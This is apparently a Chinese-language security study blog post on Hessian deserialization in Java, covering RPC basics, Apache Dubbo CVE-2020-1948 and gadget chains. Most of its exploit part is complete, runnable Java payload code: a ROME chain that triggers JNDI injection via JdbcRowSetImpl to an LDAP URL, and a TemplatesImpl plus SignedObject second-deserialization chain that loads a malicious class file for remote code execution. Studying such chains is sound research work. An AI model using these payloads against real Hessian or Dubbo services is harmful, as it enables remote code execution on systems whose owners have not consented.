Hessian反序列化分析

RPC协议

RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便

RPC协议的一次远程通信过程如下:

• 客户端发起请求，并按照RPC协议格式填充信息
• 填充完毕后将二进制格式文件转化为流，通过传输协议进行传输
• 服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理
• 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议，官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。

Hessian的简单使用

环境依赖

 <dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

Demo

package org.example;
import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}

package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class Hessian_test {
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bis);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.setName("F12");
        person.setAge(20);
        byte[] s = serialize(person);
        System.out.println((Person) deserialize(s));
    }
}

感觉就是ObjectStream的一个替换，跟原生的并没有太大差异

Hessian反序列化漏洞

package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:1099/EXP";
        jdbcRowSet.setDataSourceName(url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap，防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        System.out.println(s);
        System.out.println((HashMap)deserialize(s));
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
}

搭个ldap恶意服务，运行代码成功弹出计算器，分析一下流程，readObject处打个断点，在readObject中计算tag的值进行一个Switch，我们这里计算出来是77也就是M



跟进readMap



获取到一个空的Deserializer对象，直接跟进readMap



这里创建了一个Map对象，将我们的恶意序列化数据put进去，这里调用了2次readObject，因此我们会重复几次也会弹好几个计算器，重复过程结束后回到put方法，进入put触发的就是常规rome链，似乎非常的easy

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的：https://github.com/Claradoll/Security_Learning

启动Dubbo之前得准备一些东西，需要安装Dubbo，选用Zookeeper作为注册中心(Registry)，Apache Dubbo框架的流程如下

1. 首先服务容器加载并运行Provider
2. Provider在启动时向注册中心Registry注册自己提供的服务
3. Consumer在Registry处订阅Provider提供的服务
4. 注册中心返回服务地址给Consumer
5. Consumer根据Registry提供的服务地址调用Provider提供的服务
6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/

下载好后配置一下conf文件夹里的zoo.cfg文件，一开始不叫这个名字，改一下，添加这两个东西，data和log目录自己创建

dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log

先启动zookeeper，bin目录下启动zkServer.cmd，然后IDEA里分别启动provider和consumer，访问这样就搭建成功了，consumer相当于客户端，provider就是服务端

反序列化漏洞分析

同样是JNDI注入触发rome链，攻击逻辑里面已经写好了，我们访问calc路由即可弹出计算器

这里分析一下Dubbo是怎么处理的，在服务端打个断点



再给DecodeableRpcInvocation的decode方法打个断点，方便调试



打完断点访问calc路由，进入decode方法



这一段代码获取了远程接口对象的路径和类型，以及dubbo的版本等等信息，但是在最后进行了反序列化，并且这里的in输入流是Hessian2对象



之后就是Hessian反序列化的流程了，为什么别的博主到这里tag变成了72，而我还是77，又一谜题，77常规的Hessian反序列化，就不往下分析了，可以去看看72的分析过程，不过大差不差

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个疑惑是为什么要用JNDI，而不是单纯的TemplatesImpl链，在这里得到了解答，这是由于Hessian反序列化和Java原生反序列化的区别，如果用TemplatesImpl打的话，运行会报错

这是因为Tempaltes的_tfactory被transient修饰符修饰了，不可进行反序列化



那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中，假如类的readObject重写了，那就会调用它重写的逻辑，因此看看Templates类的readObject方法：



这里手动new了一个TransformerFactoryImpl实例，这样就不会遇到那种问题了

那既然如此，我们该如何绕过这个限制呢？思路其实很清晰，就是找一个类，那个类里有原生的readObject，这样就可以通过它触发二次反序列化，得以RCE，这个类也有一些要求，那就是要接上我们之前的Rome链子，在调用任意get和set那里接上，那么就要求目标类的get或者set方法中有readObject方法，刚好上篇讲的二次反序列化，这里就能够用到

package com.example.dubboconsumer.consumer;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_TemplatesImpl {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setValue(badAttributeValueExpException,"val",toStringBean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

        HashMap hashMap = makeMap(equalsBean, equalsBean);

        byte[] payload = Hessian2_Serial(hashMap);
        Hessian2_Deserial(payload);
    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行即可弹计算器